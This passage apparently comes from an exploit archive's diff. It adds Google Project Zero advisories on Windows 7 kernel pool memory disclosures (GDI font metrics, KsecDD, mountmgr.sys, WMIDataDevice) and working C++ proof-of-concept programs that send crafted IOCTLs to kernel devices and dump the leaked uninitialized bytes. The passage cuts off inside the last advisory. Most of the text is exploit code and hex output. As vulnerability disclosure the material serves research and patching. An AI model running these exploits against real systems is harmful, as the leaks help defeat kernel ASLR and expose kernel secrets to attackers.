00000140: 6d 00 65 00 73 00 20 00 4e 00 65 00 77 00 20 00 m.e.s. .N.e.w. .
00000150: 52 00 6f 00 6d 00 61 00 6e 00 20 00 52 00 65 00 R.o.m.a.n. .R.e.
00000160: 67 00 75 00 6c 00 61 00 72 00 3a 00 56 00 65 00 g.u.l.a.r.:.V.e.
00000170: 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 r.s.i.o.n. .5...
00000180: 31 00 31 00 20 00 28 00 4d 00 69 00 63 00 72 00 1.1. .(.M.i.c.r.
00000190: 6f 00 73 00 6f 00 66 00 74 00 29 00 00 00 ?? ?? o.s.o.f.t.).....
---
00000000: 9e 01 00 00 0a 00 00 00 08 00 00 00 02 00 00 00 ................
00000010: 02 00 00 00 00 00 00 00 09 00 00 00 39 00 00 00 ............9...
00000020: 90 01 00 00 00 00 00 00 60 00 00 00 60 00 00 00 ........`...`...
00000030: 20 00 fc ff 1f 00 20 00 00 00 00 17 00[7f 7f 7f] ..... .........
00000040:[7f]02 02 06 03 05 04 05 02 03 04[7f]40 00 00 00 ............@...
00000050: 08 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 08 00 00 06 00 00 00 fe ff ff ff 01 00 00 00 ................
00000070: 04 00 00 00 02 00 00 00 f3 ff ff ff 08 00 00 00 ................
00000080: 2c 00 00 00 fe ff ff ff 07 00 00 00 fe ff ff ff ,...............
00000090: 00 00 00 00 09 00 00 00 0f 00 00 00 05 00 00 00 ................
000000a0: 00 00 00 00 01 00 00 00 0f 00 00 00 05 00 00 00 ................
000000b0: 00 00 00 00 04 00 00 00 00 00 00 00 02 00 00 00 ................
000000c0: 00 00 00 00 ff ff ff ff d8 00 00 00 f8 00 00 00 ................
000000d0: 18 01 00 00 2a 01 00 00 54 00 69 00 6d 00 65 00 ....*...T.i.m.e.
000000e0: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
000000f0: 6d 00 61 00 6e 00 00 00 54 00 69 00 6d 00 65 00 m.a.n...T.i.m.e.
00000100: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
00000110: 6d 00 61 00 6e 00 00 00 4e 00 6f 00 72 00 6d 00 m.a.n...N.o.r.m.
00000120: 61 00 6c 00 6e 00 79 00 00 00 4d 00 6f 00 6e 00 a.l.n.y...M.o.n.
00000130: 6f 00 74 00 79 00 70 00 65 00 3a 00 54 00 69 00 o.t.y.p.e.:.T.i.
00000140: 6d 00 65 00 73 00 20 00 4e 00 65 00 77 00 20 00 m.e.s. .N.e.w. .
00000150: 52 00 6f 00 6d 00 61 00 6e 00 20 00 52 00 65 00 R.o.m.a.n. .R.e.
00000160: 67 00 75 00 6c 00 61 00 72 00 3a 00 56 00 65 00 g.u.l.a.r.:.V.e.
00000170: 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 r.s.i.o.n. .5...
00000180: 31 00 31 00 20 00 28 00 4d 00 69 00 63 00 72 00 1.1. .(.M.i.c.r.
00000190: 6f 00 73 00 6f 00 66 00 74 00 29 00 00 00 ?? ?? o.s.o.f.t.).....
In summary, the vulnerability can lead to a repeatable disclosure of 5 bytes (4 subsequent) at fixed offsets of kernel pool allocations with largely controlled size, to a user-mode program. This in turn could make it possible to defeat certain exploit mitigations (kASLR) or get access to other sensitive data stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
} else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
} else {
printf(".");
}
}
printf("\n");
}
}
int main() {
// Create a Device Context.
HDC hdc = CreateCompatibleDC(NULL);
// Create a TrueType font.
HFONT hfont = CreateFont(10, // nHeight
10, // nWidth
0, // nEscapement
0, // nOrientation
FW_DONTCARE, // fnWeight
FALSE, // fdwItalic
FALSE, // fdwUnderline
FALSE, // fdwStrikeOut
ANSI_CHARSET, // fdwCharSet
OUT_DEFAULT_PRECIS, // fdwOutputPrecision
CLIP_DEFAULT_PRECIS, // fdwClipPrecision
DEFAULT_QUALITY, // fdwQuality
FF_DONTCARE, // fdwPitchAndFamily
L"Times New Roman");
// Select the font into the DC.
SelectObject(hdc, hfont);
// Get the number of bytes the text metrics consume.
UINT MetricsLength = GetOutlineTextMetrics(hdc, 0, NULL);
// Obtain the metrics descriptor and dump it on the screen.
PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MetricsLength);
GetOutlineTextMetrics(hdc, MetricsLength, (LPOUTLINETEXTMETRICW)OutputBuffer);
PrintHex(&OutputBuffer[0], MetricsLength);
// Free resources.
HeapFree(GetProcessHeap(), 0, OutputBuffer);
DeleteObject(hfont);
DeleteDC(hdc);
return 0;
}

132
platforms/windows/dos/42211.cpp Executable file
View file

@ -0,0 +1,132 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1147
We have discovered that the IOCTL sent to the \Device\KsecDD device by the BCryptOpenAlgorithmProvider documented API returns some uninitialized pool memory in the output buffer. Let's consider the following input data for the IOCTL:
--- cut ---
00000000: 4d 3c 2b 1a 00 00 02 00 ff ff ff ff 00 00 00 00 M<+.............
00000010: 20 00 00 00 ff ff ff ff 01 00 00 00 02 00 00 00 ...............
00000020: 33 00 44 00 45 00 53 00 00 00 3.D.E.S...
--- cut ---
On our test Windows 7 32-bit workstation, the layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 ff ff ?? ?? ?? ?? ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, there are 2 leaked bytes at offsets 0x32-0x33, 2 leaked bytes at offsets 0x6e-0x6f, and 2 leaked bytes at offsets 0xca-0xcb, for a total of 6 disclosed bytes.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: 01 00 00 00 08 00 00 00 0c 00 00 00 01 00 00 00 ................
00000010: 28 00 00 00 34 00 00 00 01 00 00 00 70 00 00 00 (...4.......p...
00000020: 98 00 00 00 ff ff ff ff 33 00 44 00 45 00 53 00 ........3.D.E.S.
00000030: 00 00[27 27]4d 00 69 00 63 00 72 00 6f 00 73 00 ..''M.i.c.r.o.s.
00000040: 6f 00 66 00 74 00 20 00 50 00 72 00 69 00 6d 00 o.f.t. .P.r.i.m.
00000050: 69 00 74 00 69 00 76 00 65 00 20 00 50 00 72 00 i.t.i.v.e. .P.r.
00000060: 6f 00 76 00 69 00 64 00 65 00 72 00 00 00[27 27]o.v.i.d.e.r...''
00000070: 74 00 00 00 80 00 00 00 04 00 00 00 94 00 00 00 t...............
00000080: 4b 00 65 00 79 00 4c 00 65 00 6e 00 67 00 74 00 K.e.y.L.e.n.g.t.
00000090: 68 00 00 00 80 00 00 00 a0 00 00 00 01 00 00 00 h...............
000000a0: 62 00 63 00 72 00 79 00 70 00 74 00 70 00 72 00 b.c.r.y.p.t.p.r.
000000b0: 69 00 6d 00 69 00 74 00 69 00 76 00 65 00 73 00 i.m.i.t.i.v.e.s.
000000c0: 2e 00 64 00 6c 00 6c 00 00 00[27 27]?? ?? ?? ?? ..d.l.l...''....
--- cut ---
00000000: 01 00 00 00 08 00 00 00 0c 00 00 00 01 00 00 00 ................
00000010: 28 00 00 00 34 00 00 00 01 00 00 00 70 00 00 00 (...4.......p...
00000020: 98 00 00 00 ff ff ff ff 33 00 44 00 45 00 53 00 ........3.D.E.S.
00000030: 00 00[85 85]4d 00 69 00 63 00 72 00 6f 00 73 00 ....M.i.c.r.o.s.
00000040: 6f 00 66 00 74 00 20 00 50 00 72 00 69 00 6d 00 o.f.t. .P.r.i.m.
00000050: 69 00 74 00 69 00 76 00 65 00 20 00 50 00 72 00 i.t.i.v.e. .P.r.
00000060: 6f 00 76 00 69 00 64 00 65 00 72 00 00 00[85 85]o.v.i.d.e.r.....
00000070: 74 00 00 00 80 00 00 00 04 00 00 00 94 00 00 00 t...............
00000080: 4b 00 65 00 79 00 4c 00 65 00 6e 00 67 00 74 00 K.e.y.L.e.n.g.t.
00000090: 68 00 00 00 80 00 00 00 a0 00 00 00 01 00 00 00 h...............
000000a0: 62 00 63 00 72 00 79 00 70 00 74 00 70 00 72 00 b.c.r.y.p.t.p.r.
000000b0: 69 00 6d 00 69 00 74 00 69 00 76 00 65 00 73 00 i.m.i.t.i.v.e.s.
000000c0: 2e 00 64 00 6c 00 6c 00 00 00[85 85]?? ?? ?? ?? ..d.l.l.........
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <bcrypt.h>
#include <winternl.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
HANDLE hksecdd;
OBJECT_ATTRIBUTES objattr;
UNICODE_STRING ksecdd_name;
IO_STATUS_BLOCK iob;
NTSTATUS st;
RtlInitUnicodeString(&ksecdd_name, L"\\Device\\KsecDD");
InitializeObjectAttributes(&objattr, &ksecdd_name, 0, NULL, 0);
st = NtOpenFile(&hksecdd,
FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
&objattr,
&iob,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT);
if (!NT_SUCCESS(st)) {
printf("NtOpenFile failed, %x\n", st);
return 1;
}
BYTE InputBuffer[] = "\x4d\x3c\x2b\x1a\x00\x00\x02\x00\xff\xff\xff\xff\x00\x00\x00\x00\x20\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x02\x00\x00\x00\x33\x00\x44\x00\x45\x00\x53\x00\x00\x00";
BYTE OutputBuffer[0x200] = { /* zero padding */ };
DWORD BytesReturned = 0;
if (!DeviceIoControl(hksecdd, 0x390400, InputBuffer, sizeof(InputBuffer), OutputBuffer, sizeof(OutputBuffer), &BytesReturned, NULL)) {
printf("DeviceIoControl failed, %d\n", GetLastError());
CloseHandle(hksecdd);
return 1;
}
PrintHex(OutputBuffer, BytesReturned);
CloseHandle(hksecdd);
return 0;
}

177
platforms/windows/dos/42212.cpp Executable file
View file

@ -0,0 +1,177 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1150&desc=2
We have discovered that the handler of the IOCTL_MOUNTMGR_QUERY_POINTS IOCTL in mountmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000020: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000030: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000040: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a MOUNTMGR_MOUNT_POINTS structure [1], which in turn contains a list of MOUNTMGR_MOUNT_POINT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the repeating pairs of uninitialized bytes correspond to alignment holes after the SymbolicLinkNameLength, UniqueIdLength and DeviceNameLength fields (all of type USHORT, followed by LONG fields, which must be 4-aligned). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: 56 03 00 00 05 00 00 00 ba 00 00 00 60 00 00 00 V...........`...
00000010: 80 00 00 00 0c 00 00 00 8c 00 00 00 2e 00[67 67]..............gg
00000020: 54 01 00 00 1c 00[67 67]1a 01 00 00 0c 00[67 67]T.....gg......gg
00000030: 26 01 00 00 2e 00[67 67]70 01 00 00 60 00[67 67]&.....ggp...`.gg
00000040: 1a 01 00 00 0c 00[67 67]26 01 00 00 2e 00[67 67]......gg&.....gg
00000050: da 02 00 00 60 00[67 67]d0 01 00 00 ee 00[67 67]....`.gg......gg
00000060: be 02 00 00 1c 00[67 67]3a 03 00 00 1c 00[67 67]......gg:.....gg
00000070: d0 01 00 00 ee 00[67 67]be 02 00 00 1c 00[67 67]......gg......gg
00000080: ee a2 5d 9f 00 00 10 00 00 00 00 00 5c 00 44 00 ..].........\.D.
00000090: 65 00 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 e.v.i.c.e.\.H.a.
000000a0: 72 00 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 r.d.d.i.s.k.V.o.
000000b0: 6c 00 75 00 6d 00 65 00 31 00 5c 00 3f 00 3f 00 l.u.m.e.1.\.?.?.
000000c0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{.
000000d0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 34 00 b.c.0.5.b.4.9.4.
000000e0: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1.
000000f0: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-.
00000100: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e.
00000110: 36 00 39 00 36 00 33 00 7d 00 ee a2 5d 9f 00 00 6.9.6.3.}...]...
00000120: 50 06 00 00 00 00 5c 00 44 00 65 00 76 00 69 00 P.....\.D.e.v.i.
00000130: 63 00 65 00 5c 00 48 00 61 00 72 00 64 00 64 00 c.e.\.H.a.r.d.d.
00000140: 69 00 73 00 6b 00 56 00 6f 00 6c 00 75 00 6d 00 i.s.k.V.o.l.u.m.
00000150: 65 00 32 00 5c 00 44 00 6f 00 73 00 44 00 65 00 e.2.\.D.o.s.D.e.
00000160: 76 00 69 00 63 00 65 00 73 00 5c 00 43 00 3a 00 v.i.c.e.s.\.C.:.
00000170: 5c 00 3f 00 3f 00 5c 00 56 00 6f 00 6c 00 75 00 \.?.?.\.V.o.l.u.
00000180: 6d 00 65 00 7b 00 62 00 63 00 30 00 35 00 62 00 m.e.{.b.c.0.5.b.
00000190: 34 00 39 00 35 00 2d 00 64 00 38 00 34 00 37 00 4.9.5.-.d.8.4.7.
000001a0: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3.
000001b0: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6.
000001c0: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}.
000001d0: 5c 00 3f 00 3f 00 5c 00 49 00 44 00 45 00 23 00 \.?.?.\.I.D.E.#.
000001e0: 43 00 64 00 52 00 6f 00 6d 00 56 00 42 00 4f 00 C.d.R.o.m.V.B.O.
000001f0: 58 00 5f 00 43 00 44 00 2d 00 52 00 4f 00 4d 00 X._.C.D.-.R.O.M.
00000200: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000210: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000220: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000230: 5f 00 5f 00 5f 00 5f 00 5f 00 31 00 2e 00 30 00 _._._._._.1...0.
00000240: 5f 00 5f 00 5f 00 5f 00 5f 00 23 00 35 00 26 00 _._._._._.#.5.&.
00000250: 31 00 30 00 36 00 61 00 66 00 31 00 37 00 31 00 1.0.6.a.f.1.7.1.
00000260: 26 00 30 00 26 00 31 00 2e 00 30 00 2e 00 30 00 &.0.&.1...0...0.
00000270: 23 00 7b 00 35 00 33 00 66 00 35 00 36 00 33 00 #.{.5.3.f.5.6.3.
00000280: 30 00 64 00 2d 00 62 00 36 00 62 00 66 00 2d 00 0.d.-.b.6.b.f.-.
00000290: 31 00 31 00 64 00 30 00 2d 00 39 00 34 00 66 00 1.1.d.0.-.9.4.f.
000002a0: 32 00 2d 00 30 00 30 00 61 00 30 00 63 00 39 00 2.-.0.0.a.0.c.9.
000002b0: 31 00 65 00 66 00 62 00 38 00 62 00 7d 00 5c 00 1.e.f.b.8.b.}.\.
000002c0: 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 43 00 D.e.v.i.c.e.\.C.
000002d0: 64 00 52 00 6f 00 6d 00 30 00 5c 00 3f 00 3f 00 d.R.o.m.0.\.?.?.
000002e0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{.
000002f0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 38 00 b.c.0.5.b.4.9.8.
00000300: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1.
00000310: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-.
00000320: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e.
00000330: 36 00 39 00 36 00 33 00 7d 00 5c 00 44 00 6f 00 6.9.6.3.}.\.D.o.
00000340: 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 s.D.e.v.i.c.e.s.
00000350: 5c 00 44 00 3a 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? \.D.:...........
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winioctl.h>
#include <cstdio>
typedef struct _MOUNTMGR_MOUNT_POINT {
ULONG SymbolicLinkNameOffset;
USHORT SymbolicLinkNameLength;
ULONG UniqueIdOffset;
USHORT UniqueIdLength;
ULONG DeviceNameOffset;
USHORT DeviceNameLength;
} MOUNTMGR_MOUNT_POINT, *PMOUNTMGR_MOUNT_POINT;
typedef struct _MOUNTMGR_MOUNT_POINTS {
ULONG Size;
ULONG NumberOfMountPoints;
MOUNTMGR_MOUNT_POINT MountPoints[1];
} MOUNTMGR_MOUNT_POINTS, *PMOUNTMGR_MOUNT_POINTS;
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
// Open mount point manager.
HANDLE hMntPointMgr = CreateFile(L"\\\\.\\MountPointManager",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hMntPointMgr == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}
// Request data, assuming it fits into the 4096-byte buffer.
MOUNTMGR_MOUNT_POINT mnt_point;
RtlZeroMemory(&mnt_point, sizeof(mnt_point));
BYTE OutputBuffer[4096];
DWORD BytesReturned;
if (!DeviceIoControl(hMntPointMgr, 0x6D0008, &mnt_point, sizeof(mnt_point), OutputBuffer, sizeof(OutputBuffer), &BytesReturned, NULL)) {
printf("DeviceIoControl failed, %d\n", GetLastError());
CloseHandle(hMntPointMgr);
return 1;
}
PrintHex(OutputBuffer, BytesReturned);
CloseHandle(hMntPointMgr);
return 0;
}

245
platforms/windows/dos/42213.cpp Executable file
View file

@ -0,0 +1,245 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1152
We have discovered that the handler of the 0x224000 IOCTL (corresponding to the WmiQueryAllData functionality) implemented by the \\.\WMIDataDevice device in ntoskrnl.exe (as dispatched by the nt!WmipIoControl routine) discloses portions of uninitialized pool memory to user-mode clients.
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000180: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000190: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002f0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000300: 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................
00000310: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000320: 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................
00000330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000340: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000460: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000470: ff ff ff ff ff ff ff ff ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, the uninitialized bytes constitute a significant portion of the overall memory area (72 out of 1136).
